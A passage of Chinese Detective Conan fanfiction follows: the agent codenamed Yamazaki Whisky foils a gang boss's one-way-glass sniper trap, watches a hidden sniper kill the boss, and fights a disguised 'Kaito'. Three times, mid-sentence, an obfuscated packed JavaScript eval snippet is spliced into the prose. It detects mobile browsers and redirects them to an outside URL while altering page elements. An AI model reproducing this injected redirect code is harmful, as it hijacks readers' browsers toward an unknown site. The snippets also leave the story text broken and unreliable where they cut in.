从外面来看,这栋楼的楼顶的确是呈三角形的形状,千鸟奏一边思考着,一边转了转右耳耳垂上的耳钉。走廊上的灯也都亮着,灯光照在千鸟奏的两只耳钉上,照得黑色的宝石闪出炫彩的光。 顶楼看起来已经提前清过场,除了刚刚上来的他们两人,整个楼层一个人都没有。 男人领着千鸟奏走向右边的会议室,领着他坐下,对他鞠了鞠躬。 “请您稍等片刻,龙崎先生马上上来。” 说罢,男人就退出了会议室,顺带着关上了会议室的大门。 千鸟奏抬头环视了一圈,会议室里四角的监控器红光闪烁着,他伸手向其中一个监控器挥了挥手,站起身开始随意地摆弄起会议室里的陈设。 啧啧啧,这个龙崎丈一郎不知道赚了多少黑心钱。 千鸟奏边看边摇头。 监视器屏幕里黑发的少年从门口一路晃悠到窗边,边看边摸,连带着走到落地窗前,把落地窗的玻璃也摸了两把,环顾完一圈才坐回沙发,又对着另一个摄像头的方向摆摆手。 背着手站在监控室的龙崎丈一郎冷哼一声,转身走向了门外。 若今天来的是朗姆或者琴酒,失去了轩尼诗支持的他的确没有什么胜算。 山崎威士忌?他和组织合作这么些年,以前认识的那个山崎威士忌的确有些手段,可都死了不知道多少年了。 至于现在这位“山崎威士忌”,他甚至不知道是什么时候爬上来接任了这个代号的新面孔。 反正高低不过一个毛头小子…… 虽然他今晚的准备大部分是为了对付琴酒和朗姆手下的人准备的……但对付这个见都没见过的毛头小子,他的准备还是绰绰有余的。 今天无论如何他都要反咬组织一口。若成功,他就有了跟组织重新谈判的资本。一个代号成员的性命,再不济组织也不可能直接放手不管吧。 龙崎丈一郎摸摸下巴的胡子,盘算着眯了眯眼。 - 龙崎丈一郎走进会议室时,黑发的少年正坐在沙发上,一只手无聊地转着右耳的一只耳钉。 “抱歉让你久等了。”显然是不把会议室里的少年放在眼里,龙崎丈一郎慢悠悠地进门,会议室的大门跟着在他的身后自动关上。 沙发上的黑发少年抬起头,用一双黑沉沉的眼睛看向他。对上那双黑眼睛的一瞬间,就算是“久经沙场”的龙崎丈一郎也忍不住一下子顿住,有片刻的失神。 他压下心中的诧异,暗暗加快了一点自己的速度,走到另一张沙发前,面对着少年坐下。 那双眼睛此刻看着他的眼神像极了琴酒。 ——那是看死人的眼神。 龙崎丈一郎莫名觉得有些脊背发凉。 看来他刚刚的确有些轻敌了,他微微坐直了一点身子。 不过就算今天坐在这里的是真的琴酒,他也有把握叫他吃不了兜着走。 “山崎威士忌。” 黑发黑眼的少年对着他点点头,开口报上了自己的名号。 “山崎威士忌……呵呵呵,上次我听到这个名号还是十年前,我刚把龙樱会做起家,第一次知道组织存在的时候,还是上一任山崎威士忌……”说着,他探究的目光又落回千鸟奏身上。 “死人的事,我不关心。”眼前这个代号名为山崎威士忌恶劣地对着他笑了笑,毫不客气地也跟着上下打量了他一番。 纯黑纹付羽织袴,用金线纹着龙樱会的“龙樱”图样,露出的脖颈上同样纹着神龙图样,是一节盘曲的龙身。 十五年前,龙崎丈一郎刚开始涉/黑时48岁,还能说一句正值壮年,如今十五年过去,尽管近几年他跟组织有一些药物的交易,斑白也渐渐爬上他的两鬓。 ——无趣的自大老头。 这是千鸟奏给出的评价。 如果不是为了还击无礼的打量,他甚至看都不想多看龙崎丈一郎一眼。 会议室里的气氛一时间变得有些紧张起来,最后还是以龙崎丈一郎干咳两声,尴尬地笑笑收尾。 接下来两人谈话的内容无非是围绕那份用来威胁朗姆的实验资料展开,客套的话过了一轮又一轮,两人都默契地没有提起轩尼诗。 两人面对面坐着,无论龙崎丈一郎说什么,千鸟奏都是一副兴致缺缺的样子,既不回答他的问题,也不给他透露组织的态度。 这小子……难道是情报组干谈判出身的吗。 龙崎丈一郎有些咬牙切齿。 虽然他此次会面并不对谈话结果抱有什么期待,但是这个山崎威士忌傲慢的态度还是让他有些火冒三丈。 ——等外面的一切布置好,定让这个小子对他跪地求饶。 等到外面的人布置好……马上就能动手了…… - 千鸟奏在等。 他在等着龙崎丈一郎动手。 说真的,他其实有些疑惑这个龙崎丈一郎葫芦里卖的什么药。明明向朗姆发出会面邀请的时候就差把“我要设局杀你们一个组织成员,敢不敢派人来试试我的厉害”这种话写在邀请里了,为什么还要多余在这之前加一个虚情假意的谈判环节。 一般这种谈判的环节都是每次跟他出任务的搭档来干,他只负责后面的火/拼环节,谈判这种弯弯绕绕的事做起来实在太累,再说这个环节少说也有百分之八十的时间其实是在做无用功——最后大家还是要打起来,再根据实力的强弱来做决定。 更别说这种要带他去谈判现场的任务很少有不走到打架这一步的。 千鸟奏不太理解龙崎丈一郎现在还在追求什么体面。 难道是他还有什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15950149|177524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 环节没有布置完吗?他转头看了看落地窗外,霓虹灯还是照常眩目地亮起。 如果是这样的话,那老头的动作也太慢了吧。 不过他一向不喜欢当先动手的那个。 再说这里看上去还算有趣,他的确有些期待龙崎丈一郎葫芦里卖的什么药。 一边想着,千鸟奏敷衍地随意应和了两句龙崎丈一郎的客套话,转头又无所谓地玩起耳垂上的耳钉。 “这宝石成色看着不错。” 龙崎丈一郎突然打住了他长篇大论的场面话,看着千鸟奏耳垂上的一对黑色耳钉说到。 “是吗,还不错吧,这是黑欧泊。”少年微微摇了摇头,耳垂上的一对宝石跟着闪出两道漂亮的火彩。 “咚咚,咚咚。” 突然,会议室门口两声有规律的敲门声响起。 龙崎丈一郎终于卸下假笑,阴冷的视线盯上眼前毫无防备的少年。 “可惜欧泊易碎哦。” “小子。” 几道红点落下,落在千鸟奏的身上和身旁,几乎封死了他一瞬间所有可以躲避的去路。 再快的反应,也不会比这些子弹更快! “咔哒” 屋内的灯光灭了一瞬,木仓声紧跟着在那个瞬间响起。 ——不对!灯怎么会黑?! 灯光亮起的那一刻,龙崎丈一郎跟着从沙发上跳起。 果然,对面的沙发上几个弹孔清晰可见,原本在沙发上坐着,应该无路可躲的山崎威士忌却不知所踪。 “啊!” 反应过来的龙崎丈一郎瞬间向着声音的来源转头,就见他的暗门不知何时已经打开了一道,门后两个事先埋伏好,刚刚开完一木仓的打手已经摔出暗门外,接着两把木仓管都弯了的木仓被丢出暗门。 “啊啦,你这两个手下最笨哦,连暗门的机关都没有关好,我可是一进门就发现他们两个了哦。” 龙崎丈一郎往后退了两步,退到沙发边的一个藏品展柜旁,拍了拍上面一块隐秘的凸起。 没反应。 龙崎丈一郎一边继续用力拍打着那个展示柜,一边迅速从腰间举起他的配木仓——指向了千鸟奏。 千鸟奏弯了弯眼睛,举起双手故意摆成一个投降的手势,对着额角青筋都已经暴起的龙崎丈一郎开口。 “需不需要我留时间让你给配木仓上膛?” “接下来——给你一个机会,让你的手下出来陪我玩玩。” 一道红点从窗外瞄向了龙崎丈一郎的太阳穴。 “这不可能!”龙崎丈一郎红着眼睛对他怒吼,同时迅速向旁边微微挪了挪,让红点离开了他的脑袋。 可惜灯光又暗下一瞬,那一瞬间短得龙崎丈一郎甚至来不及再往别处躲闪,等到灯光再亮起时,红点又稳稳当当地瞄上了他的额角。 “嘘。”黑发的少年放下举起的手,伸出食指在唇边比了一个噤声的手势,“等他们陪我玩完了,就告诉你为什么哦。” 少年耳垂上的一对黑欧泊耳钉跟着闪了闪。 “咚咚,咚咚。” 敲门声再次响起。 龙崎丈一郎觉得心脏跳动的声音都在耳边炸响。 门开了。 “听说有人需要茶水饮料?” 一个金发黑皮,侍者打扮的男人脸上挂着笑,从门口探出头来。 “是你吗,先生。” 20. 神秘的邮件 “提前以服务生的身份混进来……所以现在外面的不是我的人,而是都被你们换成了自己人吧。” 龙崎丈一郎不愧在东京的黑/道混迹了这么久,很快反应过来,沉着声音说道。 服务生打扮的男人摆出一副歪头思考的样子,从门外向他们两人的方向走来。片刻,又对着他重新露出一个微笑。 “是也不是……对付你,组织还不用专门再多派几个人。” “我的意思是,就我们,还不够吗?” 龙崎丈一郎不动声色地又动了动,再次按下展示台上的按钮,这次按钮总算有了反应,屋内的灯光瞬间又暗了下去。趁着这个时间,他一个飞扑趴下,躲在了沙发背后,趁机摆脱了那道窗外照进来,狙击枪瞄准的红点。 黑暗里,少年的声音一字一句清晰地传来。 “没有我的命令,我的狙击手不会开枪。” “我说过了,给你一个机会,让你的手下出来陪我玩玩。当然了,如果你还打的动架的话,想自己上——我也欢迎哦。” “没猜错的话,除了我刚刚打开的那扇暗门,靠近左边那个会议室那里还有一道门吧。” 千鸟奏向暗门所在的方向走去。 “砰砰砰” 又是三声木仓响。 千鸟奏灵巧地躲过,从左手手腕间甩出一把蝴蝶刀,反手转开。 接着更多木仓声响起,千鸟奏一边躲着射来的子弹,一边继续说着:“啊啦,看来我猜对了哦,一、二、三,这里还藏着三个人。” “加上刚刚的两个……刚好是五个人,五把枪,五个弹孔。” 少年又一个翻身躲开新一波的子弹,掷出手里的刀,精准地砸到墙上一个雕花装饰上。装饰品应声脱落,露出背后隐藏的暗窗。 “找到你们了。” - 龙崎丈一郎靠在沙发的扶手侧,这个角度刚好可以保护他不被窗外的狙击手瞄中。 五个弹孔。 两侧的暗门后他的确是安排了五个人,不过让他们埋伏在这里的本意只是为了保险——他真正留的杀招本该是窗外的狙击手。 龙崎丈一郎一边侧耳听着山崎威士忌那边的动静,一边试着伸出手再去够刚刚展台上的按钮。 那是一个控制灯光的备用按钮。 龙樱会真正的地下活动时间是夜晚,尤其是这边这个隐秘的分部,位于歌舞伎町最繁华的地段,unhomeBar会所的营业时间也是从傍晚才开始。 这间会议室只有龙崎丈一郎谈他的地下交易时才会使用。同时为了防他方狙击手,两间会议室都用的是改装过的单面玻璃。 只要把握好室内的灯光强弱,就可以实现对外部可见视野的调控,既能保持长时间从外向内看不见室内的情况,又能在需要的时候暴露出狙击手所需的视野。 这两块玻璃的戏法他已经偷偷用过了不知多少次,除了他手下的狙击手会用他提供的室内监控配合上他细微调整灯光亮度的时间迅速锁定目标,别的势力派来的狙击手只要看过一次对面楼顶的狙击点就会放弃狙击的念头——毕竟其他时间里从那里只能看到两块单面玻璃对灯牌的反光。 只要在这边的会议室会谈,龙崎丈一郎一向会带上他的狙击手在对面暗暗锁定他的谈话对象——不过从来没有让他们真的开过木仓罢了。 自然,为了他的狙击手能派上用场,这两块落地窗用的并不是防弹玻璃。 龙崎丈一郎把这个改装过的单面玻璃的秘密当成自己保命的底牌,所以邀请组织成员跟他最后会谈一次时,他自然而然地想起这里这个从未暴露过的底牌,决定把这个当作自己的一记杀招。 只要他的狙击手就位,大致找到目标的位置,他再通过桌上的按钮将会议室内的灯光调暗,室内灯光暗下去的一瞬间,屋内的情况就会暴露出来,一木仓毙命。 没想到那两人竟然发现了他的秘密。 想到这里,龙崎丈一郎的表情都扭曲起来。 没关系,他还有机会,只要能够到灯光的控制按钮,彻底摆脱外面那个狙击手—— “啪” 一个烟灰缸飞来,砸中了龙崎丈一郎偷偷伸出的手上。 龙崎丈一郎吃痛地把手往回一收。 “我说啊,”另一个声音响起,“你是不是忘记我了?” 那个侍者打扮的男人慢悠悠地走到他的面前蹲下,用一张手帕擦着刚刚碰过烟灰缸的那只手,抬起一双紫灰色的眼睛看着他。 擦过手上并不存在的灰尘后,他一只手拎起那张用过的手帕,扔在了龙崎丈一郎的脸上。 接着木仓口抵上他的额头。 “虽然不知道他想干嘛,不过你最好在他收拾完你的人之前消停消停,保持安静哦。” 烟紫色的眼睛对着他弯了弯。 - 身形灵活的少年周旋在三人之间,三把木仓已经被打落,丢在一旁。 千鸟奏踹倒一个打手,然后借力往墙上一蹬,在空中翻了半圈后双腿绞住另一个打手的脖子,腰身一扭,又撂倒一个。 最后一人伸手就想抓住还在半空的千鸟奏,没想到少年反应迅速,先伸出手抓住了他的肩头,然后一个用力从他头顶翻过,连带着他往地上摔去。 不过两招之内,龙崎丈一郎的最后一个打手也被千鸟奏撂倒。 他站起来不紧不慢地拍拍手上的灰尘,又理了理身上的衣物,转头看了一眼正笑眯眯拿木仓指着龙崎丈一郎额头的安室透。 “透君~让他开灯吧,绿川君刚刚告诉我,那边最后一个狙击手也已经被他打趴下了。” 他转了转右耳的耳钉,黑色的欧泊又闪了闪。 灯光亮起,安室透收起枪站起身退到了千鸟奏身后。 龙崎丈一郎闭上了眼。 “你们怎么知道灯光亮度的作用的。” “大概是那个人告诉我的哦。”千鸟奏对他弯了弯眼睛,“你知道我在说谁,虽然我也很震惊他会知道你的这个秘密——可能你手下混进了什么奇怪的家伙吧。” “昨晚我收到一封查不出来路的匿名邮件,里面只写了两个字:玻璃。” “能跟玻璃有关的,除了这里面的展示柜,就是这两个房间的落地窗了吧。” “——知道了玻璃有问题,接下来的一切就很好推理了。”千鸟奏身后的安室透走上前,接上了一句。 即使经过改良,单面玻璃的工作原理也无非是光线强度和镀层的反射和透光特性。走进会议室时千鸟奏就已经伸手触碰过落地窗,确认过里面的确嵌入了镀层,虽然来不及研究龙崎丈一郎的双面玻璃具体应该如何操作,但只要在他准备好一切,开始变动室内光强之前,彻底破坏两边的光照平衡,创造“极端光线条件”,就能打破光线差平衡,实现双向可视。 龙崎丈一郎低头沉默了片刻,苦笑着摇了摇头。 原来如此,除了展柜上他刚刚试图够到的那个,门外的确还有一个灯光开关。他原本和渡边海渡约定好以敲门声为信号,敲门声响,意味着他带领其他帮手已经赶到。 看来渡边或许早就被这两人控制了。 他没有再问下去。 再问也没有意义了。 他清楚接 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15950150|177524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下来等待他的只有一个结局。 他转了转拇指的扳手戒指,突然软了语气,“山崎威士忌大人……我知道这场博弈还是我输了,我想最后,再告诉您一个秘密……就是我跟朗姆说的,我知道一个他不知道的秘密。” “听完这个秘密,您再帮我转告朗姆大人,告诉他我还是有用的……” “您……愿意给我这个机会吗?”他谄媚地笑了笑。 千鸟奏瞥了一眼他转动的扳指,顿了两秒,对他扯出一个笑容。 “透君,还请你回避一下呢^-^” 语毕,他对眼前“求饶”的男人做出了答复。 “好啊。” ——你最好抱有跟我同归于尽的觉悟哦,无聊的、自大的老头。 黑色的眼睛睁大,注视着他。 他向刚刚说话间已经站起身来的龙崎丈一郎倾了倾身子,龙崎丈一郎也向他走近,将头凑近他的右耳,另一只手伸到千鸟奏的身前。 “咔擦”,扳指转动,发出一声微不可察的轻响。 锋利的刀片从扳指处弹出,最后停在了千鸟奏的身前——毫厘之差。他的手被千鸟奏用左手擒住,此刻动都动不了了。 千鸟奏把右手手腕间抽出的一支小巧的袖箭往龙崎丈一郎的脖颈间抵了抵。 “老爷爷,耍小动作是躲不过我的眼睛的哦。” “刀片往前多少,我的袖箭就往前多少,如何?”说着,他故意往前探了探身体,锋利的刀片迅速划开他胸前的衣料,轻轻刺穿他的身体,鲜血顺着慢慢地从刀尖流出来。 少年右手的袖箭也跟着往龙崎丈一郎的脖子上递了递,划破他的皮肤,鲜血一串一串地流出。 即使龙崎丈一郎此刻想要收回自己的手,他也已经毫无办法了——千鸟奏一边继续抓住他的手,把刀片往自己的身体里刺,一边把手里的袖箭同步刺进他的脖子。 龙崎丈一郎瞪大了眼睛。 “你最好抱有跟我同归于尽的觉悟,看看是你死——还是我死。”千鸟奏歪了歪头,他的声音已经近在龙崎丈一郎的耳畔。 “我说,我说,我有轩尼诗的秘密——”似乎是想要千鸟奏停下,他急忙大声地喊着。 袖箭已经在他脖颈划下一道较深的伤痕,他扳指的刀片也几乎没入少年的胸口。 千鸟奏于是摆出一副遗憾的表情停下了。 “我知道轩尼诗其实——”感到重获新生的龙崎丈一郎急切地向千鸟奏喊着。 少年右耳的黑色欧泊耳钉突然闪了闪。 “砰。” 巨大的落地窗随着一声木仓响炸碎,话没说完的龙崎丈一郎应声倒下,千鸟奏伸手接住了他向前倒的身体。 【有狙击手出现,小心】 绿川光的声音慢了一步,此刻急切地在千鸟奏耳边响起。 他抬手又转了转右耳的耳钉。 【他只看了我一眼……开完木仓就消失了……要追吗?】 “……不必了。”因为刚刚的枪响,原本退到门口的安室透急忙跑上前,接过了龙崎丈一郎的身体。 “……他死了。一枪毙命。” 安室透皱着眉抬头,看向了刚刚转身的千鸟奏,以及少年胸口新鲜的、还在不停往外淌血的一道深深的刀口。 “你……” 安室透诧异地睁大了眼睛。 “透君,绿川君,事情好像变得更有趣了。”少年的一双黑色眼睛映着闪闪的光,又由于同时在跟绿川光通讯的缘故,连带着一对“黑欧泊”耳钉也发出光来。 “神秘的狙击手。” 神秘的邮件。 21. 只有一瓶的白兰地 顶楼的动静很快引起了不小的骚动,千鸟奏左耳的耳钉闪了闪,他伸手轻轻点了点耳钉,中村海斗的声音很快传出来。 “楼下的秩序正在维持,我封住了电梯和楼梯口,不会有人再上去,一小时内都可以安全撤离。” 好在龙崎丈一郎本就做好了开枪的打算,事先就安排好了一切——只不过讽刺的是,他计划里本该被狙杀的人还站在这里,倒下的人变成了他。 “哒哒” 中村海斗的声音刚刚从耳边消失,走廊的尽头就传来了脚步声。 还有人?! 千鸟奏和安室透相互对视一眼,一个重新举起了自己的配木仓,一个手腕一翻,又翻出一支袖箭。 “哒,哒,哒” 脚步声由远及近,越来越清晰地传入他们耳中。 三、二、一。 动手! 两人从门内冲出,直奔门外的走廊。门外的男人戴着一个简陋的面具,却身手不凡,迅速反应过来。他同冲出房间的两人同时过上两轮招,不仅丝毫不落下风,还隐隐有着压制他们的趋势。 这个人,为什么会这么熟悉我的招式? 两次攻击未果,千鸟奏心里警铃大作,神色一凛,握住袖箭,一个飞扑向面前的人刺去。 ——像是提前知道他要出什么招式,千鸟奏使出全力的一击竟然被那人轻松化解。 !!不对不对不对 能接下这招,还这么轻松的——难道这人比琴酒还厉害得多? 他翻身就地一滚,很快又跃起,向戴面具的男人攻去。 - 和面具男过了两招就被打得难舍难分的两人排挤在外的降谷零举着枪,一时也找不到开枪的时机,索性观察起两人的战斗来。 千鸟奏和面具男显然是一个战力级别的怪物,彼此每次交手都有来有回。甚至还有点……有点像师出同门? 为什么? 他皱了皱眉,更加仔细地看着两人的出招。 千鸟奏显然是被面具男激怒,招招凶狠,使出全力,每一招每一式都像要取他性命。 从他第一次见千鸟奏到现在,他好像确实没有见过千鸟奏打得这么凶、没见过他的真正实力吧? 降谷零一边看着千鸟奏和面具男过招,一边在心里默默掂量着千鸟奏的真正实力。如果是他站在面具男的位置……恐怕他撑不过第三招。 就算是琴酒,在使出全力的千鸟奏面前,只怕也坚持不过五招。 更别提千鸟奏现在还是负伤状态。 不过这足以见得面具男实力的可怕。 尽管现在看来面具男从始至终都在被动地接招,很少对千鸟奏发起攻击,但他从始至终都显得游刃有余。 可是怪就怪在这里。 就算面具男的实力比千鸟奏还要高出一截,也不可能每一招都接的如此游刃有余。 安室透眉头皱得更紧。 面具男每次接招给他的感觉,就好像他比千鸟奏还要熟悉他的招式、清楚他的想法。 为什么? - 好像有点玩脱了。 渐渐有些吃力的千鸟奏恍惚地想。 为什么这人这么熟悉他的招式? 熟悉他从自己的肌肉记忆里学会的招式。 又是一剑挥出,被面具男稳稳接下。 被握住手腕的瞬间,千鸟奏整个人猛地向反方向扭去——这样打下去率先体力不支落败的一定是他,但如果他愿意放弃这条手臂,打他一个出其不意…… 像是突然觉察到他的想法,面具男猛地松开了千鸟奏的手腕。 千鸟奏顺势又往男人的脸上打去。 “啪” 面具破碎,露出男人的脸。 ——渡边海渡?! 面具的碎片划过男人的脸,在他脸上留下一道不浅的口子。 千鸟奏在地上翻滚两圈,有些脱力地单手撑地,半跪在地上,抬头看着“面具男”的脸。 尽管面具的碎片“划伤”了渡边海渡的脸,他脸上伤口的位置却没有渗出丝毫的血迹,反而有一层像皮一样的东西微微向伤口两边卷开,露出其下一小块真正的皮肤。 是易容。 刚刚两人过招时完全被赶到一旁,现在匆匆跑来扶千鸟奏的安室透也跟着他的视线抬头看去。 安室透:? 是那个“Kaito”?! 失去了面具的渡边海渡摆出一副尴尬的表情。 “……” “哈哈,其实我本意是上来帮你们收拾的,你们信不信……” “我没有要拦你们的意思,我是来收拾现场的。” 他一边说着一边对着他们摆摆手。 “我也没有主动攻击你们啊,你看,是你们先冲出来攻击我,我才不得不接招的……” 三人相顾无言。 最后还是被安室透扶起来的千鸟奏先动了动。 少年此时已经整个人挂在了安室透身上,他向着对方的方向偏了偏头。 “Kaito。” “哈,没猜错的话,你就是那个突然加入龙樱会,以最快的速度取得龙崎丈一郎信任,被他提拔到身边的神秘助理吧。” “虽然不知道你用的什么手段这么快取得他的信任。” 安室透偏过头看了他一眼,少年的脸色已经变得惨白,由于刚刚激烈的打斗,胸前本就不浅的伤口渗出的血已经快染红他半个身子。 “我没事,死不了。” 千鸟奏的声音很快跟着小声地传来。 顶着这副脸色对他说没事……槽点实在太多,简直不知道该从何说起了。 安室透收回视线,把感觉马上就要栽到地上去的少年抱起。 千鸟奏顺着安室透的动作顺从地往他怀里一靠,扬起声音对还站在原地的渡边海渡说着。 “你为什么要以Kaito这个名字藏在中村海斗身边?” 安室透心领神会,也跟着抬眼看向他,接上了千鸟奏的诘问。 “或者说,你藏在龙崎丈一郎身边所用的,‘奏太’也不是你的本名。” “你今晚本来应该派人守住这里,对吧。” “你是轩尼诗的人。”肯定的语气。 除了轩尼诗,还有谁会想要对龙崎丈一郎赶尽杀绝? 龙崎丈一郎最后要说的是什么?轩尼诗真正的把柄?他和轩尼诗合作的秘密? ——还有那个狙击手。 其实千鸟奏一开始真没想杀了龙崎丈一郎的。 他特意告诉在对面跟他们打配合的绿川光,无论这边发生什么情况,都不要真的开木仓,只要起到恐吓的作用就好了,一来他没有必须杀/死龙崎丈一郎的理由,二来从对面开木仓射/杀龙崎丈一郎实在闹得太声势浩大,不好脱身。 他保证真的只是想装一装吓唬他玩玩,顺便看看能不能吓出什么有用的情报。 看龙崎丈一郎那样子惜命得很,根本不可能真的跟他拼命。再说千鸟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15950151|177524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奏也没有在任务要求外杀人的爱好,那太变态了,他只是一个被迫上岗的苦命工具人,又不是琴酒。 “……我可以是。” 对面的男人突然笑了,然后径直向前方的会议室走去,在和两人擦身而过时顿了顿,“我会帮你们善后,现在,趁着他们上来之前逃出去吧。” 说完,他就潇洒地转身离去。 “……” “透君……”千鸟奏略带疑惑的声音轻轻地传进安室透耳中。 “?” “什么叫帮我们善后……明明让人开木仓的人是他吧?!” “……好像是哦。” - “就是他。” 绿川光伸手向着旁边站着的男人一指。 “就是他开的木仓。” 被指的男人微微抬头,淡淡地瞟了他一眼,摇了摇手中的半瓶罐装咖啡,开口用低沉的声音回了他一句:“奉命行事。” 他们此刻已经身处安室透的车旁,千鸟奏坐在副驾驶的座位上,安室透拉着敞开的车门站在一旁,姗姗来迟的绿川光拽着刚刚的男人就站在车旁的空地上。 千鸟奏顺着绿川光的指尖抬头看去。 黑色针织冷帽,一头散开长至腰间的长发,额前露出几缕卷发。他身着一件黑色高领毛衣,外穿一件深色立领工装夹克,搭配一条修身的黑色长裤…… 哇塞!好帅的长发男! 给人一种疏离感,给人两种疏离感,给人三种疏离感…… 停停停,不对。 “奉命?奉谁的命?”轩尼诗吗? 千鸟奏特意没有把那个代号说出口,免得眼前的狙击手顺势就应下。 “我追上他时,他告诉我他是组织的狙击手,我才押着他来这里的……” 绿川光在一旁开口,显然是被眼前这个擅自开枪的狙击手冒犯到了。 “你是?”男人一双锐利的绿色眼睛看向他。 “山崎威士忌,我的代号。”少年毫不客气地用他黑色的眼睛看回去。 “我的权限应该不至于连这都不能知道吧。” “你是谁,奉谁的命令,现在隶属于谁——这些,我都要知道。” “你的出现打乱了我们的任务计划,至于这个,我会亲自去向你的上司讨要一个说法的。” 一句接着一句,少年的语气越来越冷。 像是在权衡他的话是否可信,男人沉默了许久,才慢慢开口。 “诸星大,是个雇佣兵。” “一个月前加入组织,在琴酒手下培训,现无隶属行动组,我是接到一个叫德拉曼的代号成员的邮件,今天来这里击杀目标。” 名叫诸星大的男人前进半步,打量了此时倚靠在副驾驶座位上,显得颇有些狼狈的少年一眼,向他伸出右手。 “久仰大名,山崎威士忌大人。” 少年停顿了片刻,淡淡伸出手回握。 虽然面上表现得很淡定,千鸟奏的心里已经默默掀起了惊涛骇浪。 德拉曼? 不是轩尼诗? 千鸟奏脑海里闪过刚刚跟他交手的“渡边海渡”的身影。 德拉曼……难道是他吗? 等等等等。 但是组织里难道什么时候多出来一个他听都没听过的代号成员?!组织里只有一瓶白兰地啊! 站在一旁拉着车门·真·对组织代号了如指掌的安室透:?德拉曼 他怎么记得组织只有一瓶白兰地?!